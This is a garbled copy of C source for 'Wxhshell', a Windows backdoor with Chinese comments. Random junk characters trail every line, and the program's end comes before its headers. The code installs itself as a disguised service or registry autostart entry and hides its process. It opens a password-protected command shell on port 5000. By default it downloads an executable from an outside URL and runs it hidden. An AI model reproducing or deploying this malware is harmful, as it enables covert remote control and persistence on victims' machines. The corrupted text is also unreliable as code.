ULONG UniqueProcessId; 05R"/r*
ULONG InheritedFromUniqueProcessId; myR{}G
} PROCESS_BASIC_INFORMATION; H" `'d
'k[qx}
PROCNTQSIP NtQueryInformationProcess; 38p"lT
G9^`cTvv'8
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z! O4hA4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~q}L13^k
G|KA!q
HANDLE hProcess; G|f9l?p
PROCESS_BASIC_INFORMATION pbi; cVW7I
BYX c
'K
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :vb5J33U
if(NULL == hInst ) return 0; B6
(\1
#4O4,F>e
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .)b<cH~%
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (cOe*>L;
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |Q3d7y
&L$9Ii
if (!NtQueryInformationProcess) return 0; ZI!:
}6%XiP|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L? DlR hu
if(!hProcess) return 0; B223W_0"o
xyL)'C
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bpwA|H%{M
8C@u+tx
CloseHandle(hProcess); W+#Q>^ Q>
")Not$8
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |T""v_q
if(hProcess==NULL) return 0; 'JMW.;Lh?X
*^|\#UIk
HMODULE hMod; g,._3.D
char procName[255]; YUEyGhkMV{
unsigned long cbNeeded; ESRj<p%W
&~P4yI;,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1OMXg=Y
}8x+F2i
CloseHandle(hProcess); "a)6g0gw
" _2k3
if(strstr(procName,"services")) return 1; // 以服务启动 y<Q"]H.CkQ
uVn"L:_
return 0; // 注册表启动 ce\d35x!
} RH;ulAD6(~
nUP, Yd
// 主模块 d=xjLbsZ
int StartWxhshell(LPSTR lpCmdLine) _J!^iJ
{ h5'hP>b#
SOCKET wsl; ^1.*NG8
BOOL val=TRUE; m}wn+R
int port=0; T06(Q[)
struct sockaddr_in door; Q
84t=
(p%|F`
if(wscfg.ws_autoins) Install(); P 0.cF]<m
eZPeyYX
port=atoi(lpCmdLine); )*]A$\Oc[
R7Y_ 7@p
if(port<=0) port=wscfg.ws_port; x8rg/y
=:s`C,l.4
WSADATA data; gPKf8{#%e
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %LMpErZO
RhE~Rwbx
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tr<fii3<
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `HRL .uX
door.sin_family = AF_INET; mF;mJq<d
door.sin_addr.s_addr = inet_addr("127.0.0.1"); h+1|.d
door.sin_port = htons(port); skcyLIb
`MSig)V
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cuQ!"iH
closesocket(wsl); &!CVF
return 1; 5j`xSG
} WY!\^| ,
g{yw&q[B=
if(listen(wsl,2) == INVALID_SOCKET) { 5)%ahmY
closesocket(wsl); U*r54AyP
return 1; 7{F\b
} R!j #
Wxhshell(wsl); OZxJDg
WSACleanup(); @.W; 3|~qc
q~R8<G%YK
return 0; OS,!`8cw
vdq=F|&
} \l:R]:w;ZI
"@nH;Xlq
// 以NT服务方式启动 4?+K
`
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l/G+Xj4M
{ jhm3:;Z
DWORD status = 0; ,' |J
DWORD specificError = 0xfffffff; s-"KABEE
f(|k0$EIu
serviceStatus.dwServiceType = SERVICE_WIN32; [ey#
,&T
serviceStatus.dwCurrentState = SERVICE_START_PENDING; `MI;.t
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uB
I/3aQ
serviceStatus.dwWin32ExitCode = 0; g{]6*`/Z
serviceStatus.dwServiceSpecificExitCode = 0; #%;Uh
serviceStatus.dwCheckPoint = 0; .]vb\NBK7
serviceStatus.dwWaitHint = 0; 3}H{4]*%_
ytIPY7E
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oVpZR$
if (hServiceStatusHandle==0) return; WoZU} T-
G]ek-[-
status = GetLastError(); j?N<40z
if (status!=NO_ERROR) Mr)t>4
{ h =A
serviceStatus.dwCurrentState = SERVICE_STOPPED; "bhK%N;
serviceStatus.dwCheckPoint = 0; Nnh\FaI
serviceStatus.dwWaitHint = 0; [K3
te
serviceStatus.dwWin32ExitCode = status; e v$:7}h=
serviceStatus.dwServiceSpecificExitCode = specificError; F\DiT|?}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); VP#KoX85
return; C .S BJ
} d0 )725Ia
zIrOMh
serviceStatus.dwCurrentState = SERVICE_RUNNING; nc;eNB
serviceStatus.dwCheckPoint = 0; C1D:Xi-
serviceStatus.dwWaitHint = 0; y47N(;vy
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rexf#W)
} _Xd"'cXw
\}jA1oy
// 处理NT服务事件,比如:启动、停止 3*h"B$g!
VOID WINAPI NTServiceHandler(DWORD fdwControl) O-V|= t
{ DPT6]pl"y
switch(fdwControl) sjyr9AF
{ K KB+o)*W
case SERVICE_CONTROL_STOP: 6MVu"0#
serviceStatus.dwWin32ExitCode = 0; sQ}|Lu9hZ
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3xy2ZYw
serviceStatus.dwCheckPoint = 0; f5V-;
serviceStatus.dwWaitHint = 0; v])ew|
{ OE@[a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q7aPW\-
} Jo {:]:
return; r'*$'QY-N
case SERVICE_CONTROL_PAUSE: ?/o 8f7Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; w,p'$WC*
break; FLW VI4*
case SERVICE_CONTROL_CONTINUE:
mWv$eR
serviceStatus.dwCurrentState = SERVICE_RUNNING; E]mm^i`|
break; 9-pt}U
case SERVICE_CONTROL_INTERROGATE: %aNm j)L
break; <Z%=lwtX
}; ,\6Vb*G|E>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 712nD ?>
} G`FYEmD
(mIjG)4t
// 标准应用程序主函数 p]mN)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {mJ'
Lb0;
{ r:bJU1P1$s
EHC7b^|3}
// 获取操作系统版本 }nlS&gew^
OsIsNt=GetOsVer(); J%CCUl2
GetModuleFileName(NULL,ExeFile,MAX_PATH); x4*
bhiu
INA3^p'w
// 从命令行安装 F^.A~{&L
if(strpbrk(lpCmdLine,"iI")) Install(); @s1T|}AJ
6M
>@DRZ'|
// 下载执行文件 4Fft[S(
if(wscfg.ws_downexe) { ]Ucw&B*@
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) CGi;M=xr
WinExec(wscfg.ws_filenam,SW_HIDE);
;2C
} 5GM-*Ak @
wyy
1M+
if(!OsIsNt) { K83'`W^
// 如果时win9x,隐藏进程并且设置为注册表启动 D6L+mTN
HideProc(); aZb\uMePK
StartWxhshell(lpCmdLine); ;eYG\uKC{
} iN&oSpQ
else vaB ql(?'2
if(StartFromService()) 4
.
7X*1
// 以服务方式启动 S~3|1Hw*tN
StartServiceCtrlDispatcher(DispatchTable); Rge>20uTl$
else wOf8\s1
// 普通方式启动 tKV,
StartWxhshell(lpCmdLine); "J"=<_?
(m R)o&Y%,
return 0; -$:;en?
} (,h2qP-;ud
w1tM !4r
zP44
Xhz
G%I
.u
=========================================== ]Kt@F0U<o
86=W}eV1r
blQ&QQL
i%FC
lMF
MDF_Xr-hZ
O(/~cQ
" }&vD(hX
yP{ 52%|+
#include <stdio.h> !Aj}sh{
#include <string.h> >Hnm.?-AWl
#include <windows.h> V[(fE=cIN~
#include <winsock2.h> 'W(u.
#include <winsvc.h> xq((]5P y
#include <urlmon.h> ;}E}N:A
NF&Sv
#pragma comment (lib, "Ws2_32.lib") ~LS</_N
#pragma comment (lib, "urlmon.lib") iE'' >Z
T_S3_-|{==
#define MAX_USER 100 // 最大客户端连接数 v*!N}1+J
#define BUF_SOCK 200 // sock buffer K) }1;
#define KEY_BUFF 255 // 输入 buffer WAxNQfEe
X<,QSTP
#define REBOOT 0 // 重启 ye.6tlW
#define SHUTDOWN 1 // 关机 o ks;G([
@%,~5{Ir
#define DEF_PORT 5000 // 监听端口 on7
n4
v":q_w<k
#define REG_LEN 16 // 注册表键长度 :6Nb,Hh~
#define SVC_LEN 80 // NT服务名长度 RH FRN&RU$
H0s*Lb
// 从dll定义API %'1iT!g8
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KVOV<uDCj
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m#UQ,EM
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pdf-2
Tx
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~LuGfPO^
6=/sEz S'
// wxhshell配置信息 o4" [{LyT
struct WSCFG { 1L!;lP2
int ws_port; // 监听端口 DP@1to@
char ws_passstr[REG_LEN]; // 口令 HFFG4'
int ws_autoins; // 安装标记, 1=yes 0=no DT`HS/~fH
char ws_regname[REG_LEN]; // 注册表键名 ;}SGJ7
char ws_svcname[REG_LEN]; // 服务名 M*0^<e~]F
char ws_svcdisp[SVC_LEN]; // 服务显示名 84WDR?
char ws_svcdesc[SVC_LEN]; // 服务描述信息 bh@Ct nO
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9I/l+IS"X
int ws_downexe; // 下载执行标记, 1=yes 0=no PRU&y/zZmG
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -W9DH^EL<
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Nud =K'P=
1\fx57a\
}; )YAa7\Od
vcFR Td
// default Wxhshell configuration He=C\"
struct WSCFG wscfg={DEF_PORT, J:Fq i p
"xuhuanlingzhe", qGA|.I9,
1, e8<}{N0,n
"Wxhshell", HF*0
"Wxhshell", +#eol~j9N
"WxhShell Service", ~6;I"0b5
"Wrsky Windows CmdShell Service", 3`&FXgo
"Please Input Your Password: ", @/^<9
1, 8r(awp
"http://www.wrsky.com/wxhshell.exe", "Ol:ni1
"Wxhshell.exe" zwV!6xG
}; \ UrD%;sq
08xo_Oysq
// 消息定义模块 ?XY'<